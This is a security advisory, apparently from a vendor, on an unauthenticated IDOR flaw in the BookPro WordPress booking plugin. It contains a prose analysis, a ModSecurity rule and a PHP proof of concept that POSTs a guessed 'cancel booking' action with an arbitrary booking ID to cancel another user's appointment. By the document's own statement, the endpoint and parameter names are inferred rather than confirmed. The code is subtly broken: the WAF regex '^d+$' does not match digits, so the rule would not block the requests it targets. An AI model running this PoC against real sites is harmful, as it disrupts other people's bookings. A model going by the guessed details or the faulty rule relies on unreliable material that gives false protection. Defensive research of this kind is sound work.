Atomic Edge analysis of CVE-2025-66123 (metadata-based):
This vulnerability affects the BookPro – Appointment Booking WordPress Plugin (slug: ovabookpro) in versions up to 1.1.0. It is an Insecure Direct Object Reference (IDOR) that allows unauthenticated attackers to perform unauthorized actions. The CVSS score is 5.3 (Medium), with a vector indicating network-based exploitation with no privileges required.
Root Cause: The root cause, based on CWE-639 (Authorization Bypass Through User-Controlled Key), is the plugin’s failure to validate a user-controlled key against the current user’s permissions. This likely occurs in an AJAX handler, REST endpoint, or form processor where the plugin accepts a numeric or string identifier (such as a booking ID, appointment slot, or customer ID) from the request without checking if the requesting user has the right to access or modify that resource. Since authentication is not required (PR:N), any unauthenticated visitor can supply arbitrary keys. Atomic Edge analysis infers this from the CWE classification and the description; no code diff is available to confirm the exact parameter or endpoint.
Exploitation: An attacker can exploit this by sending a crafted HTTP request to a vulnerable endpoint. Based on common WordPress plugin patterns and the plugin slug ‘ovabookpro’, the vulnerable endpoint is likely an AJAX action like ‘ovabookpro_update_appointment’ or ‘ovabookpro_get_booking. The attacker would modify a parameter such as ‘booking_id’, ‘appointment_id’, or ‘slot_id’ to reference another user’s data. For example, an attacker could POST to ‘/wp-admin/admin-ajax.php’ with action=ovabookpro_cancel_booking&booking_id=123, changing ‘123’ to another ID to cancel someone else’s appointment. The lack of nonce or capability checks on this action enables the attack without authentication.
Remediation: The fix requires implementing proper authorization checks for every user-controlled key. For each operation that uses an ID parameter, the plugin should verify that the current user owns or has permission for the referenced resource. This can be done by comparing the resource’s associated user ID against the current user’s ID e.g., get_current_user_id() or by using WordPress capabilities via current_user_can(). Additionally, the plugin should implement nonce verification for AJAX actions to ensure requests originate from valid sessions.
Impact: Successful exploitation allows an unauthenticated attacker to perform unauthorized actions, such as viewing, modifying, or deleting other users’ appointments or personal data. This can lead to data exposure, service disruption, or manipulation of booking schedules. Atomic Edge research rates the impact as medium, as the CVSS specifies integrity (I:L) but no confidentiality or availability impact, though depending on the specific action, data exposure (confidentiality) could also occur.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-66123 (metadata-based)
# Blocks unauthenticated IDOR exploitation against BookPro plugin AJAX actions
# This rule targets the most likely vulnerable endpoint pattern: AJAX action ovabookpro_*
# with a numeric ID parameter (booking_id, appointment_id, etc.) from unauthenticated users.
# Because the plugin does not require authentication, we block requests to unknown AJAX actions
# that contain numeric ID parameters. Adjust the action regex if the plugin uses a different prefix.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2025-66123 via BookPro AJAX IDOR',severity:'CRITICAL',tag:'CVE-2025-66123'"
SecRule ARGS:action "@rx ^ovabookpro_" "chain"
SecRule ARGS:booking_id|ARGS:appointment_id|ARGS:slot_id|ARGS:customer_id "@rx ^d+$"
"t:none,t:urlDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-66123 - BookPro - Appointment Booking WordPress Plugin <= 1.1.0 - Unauthenticated Insecure Direct Object Reference
// Configuration: Set the target WordPress URL
$target_url = 'http://example.com'; // Change this to the target WordPress site
// The vulnerable AJAX action and parameter are inferred from common plugin patterns
// We assume the plugin registers an AJAX action: 'ovabookpro_cancel_booking'
// and uses a parameter 'booking_id' to specify which booking to cancel.
// Endpoint for WordPress AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// PoC: Attempt to cancel a booking by manipulating the booking_id
$action = 'ovabookpro_cancel_booking'; // Inferred action name
$target_booking_id = 1; // A booking ID belonging to another user
// Build POST data
$post_data = array(
'action' => $action,
'booking_id' => $target_booking_id
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
echo "HTTP Status Code: " . $http_code . "n";
echo "Response: " . $response . "n";
// Note: This PoC is based on inferred endpoint names. Adjust the $action and $post_data keys
// if the actual plugin uses different parameter names (e.g., 'appointment_id', 'slot_id').
?>
